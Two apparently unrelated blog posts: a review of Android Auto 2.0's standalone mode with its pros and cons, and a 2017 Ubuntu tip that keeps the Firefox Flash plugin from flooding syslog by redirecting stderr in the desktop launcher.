With the Android Auto 2.0 it is possible to use Android Auto in standalone mode, meaning that it can work right from smartphone and does not need a car infotainment system to support Android Auto:

However you still have to deal with all the limitations of Android Auto.

Automate

There are multiple alternatives to standalone Android Auto version, with Automate as one the best ones.

Since the standalone Android Auto version was introduced only in 2nd version, this was the only option to have the similar interface and usability in the cars which don’t support Android Auto.

The usability is similar to the standalone Android Auto, although the user experience lacks consistency.

Verdict

Good:

Google Maps with Traffic data
Modern infotainment experience
Android Auto 2.0 has standalone mode. Bluetooth is enough to use Android Auto.
Voice messaging and commands (only in English though)
Possibly bright future with more apps/integrations
Control volume, switch songs on the driving wheel

Bad:

Voice control is not accurate, especially for non-English content
Not available in many countries
Always using ambient sensor
Limited scrolling capabilities and control when driving. Doesn’t make sense if a passenger controls the unit
Requires cabling (cannot be used wirelessly)
Poor car infotainment system resolution (800x480) limits the experience
Navigation info is displayed in the infotainment system, but not in the dash

My verdict: if you are able to connect to car’s audio system via Bluetooth, better buy a car phone holder:

Firefox Flash plugin floods syslog on Ubuntu

Wed, 15 Feb 2017 00:00:00 -0600

Firefox Adobe Flash plugin floods /var/log/syslog with the messages like these:

Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gtk_widget_get_visual: assertion 'GTK_IS_WIDGET (widget)' failed
Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gdk_colormap_new: assertion 'GDK_IS_VISUAL (visual)' failed
Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gdk_colormap_alloc_colors: assertion 'GDK_IS_COLORMAP (colormap)' failed
Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gtk_widget_modify_bg: assertion 'GTK_IS_WIDGET (widget)' failed

This is inconvenient as the disk is filled with the irrelevant data, the disk IO is consumed, and syslog becomes inconvenient to read.

One of the possible solutions is to send such output to /dev/null instead of syslog. This can be done by sending the STDERR stream to /dev/null.

As usually Firefox is started from the dash, or via application menu, the most convenient way is to modify the .desktop launcher file so it was run with the proper parameters.

Usually .desktop files are stored in /usr/share/applications. The firefox.desktop file from this directory should be modified by changing the following line:

Exec=firefox %u

to such one:

Exec=bash -c 'firefox %u 2>/dev/null'

This modification would send all the error output to /dev/null keeping syslog clear.

Post a comment if you have any other options.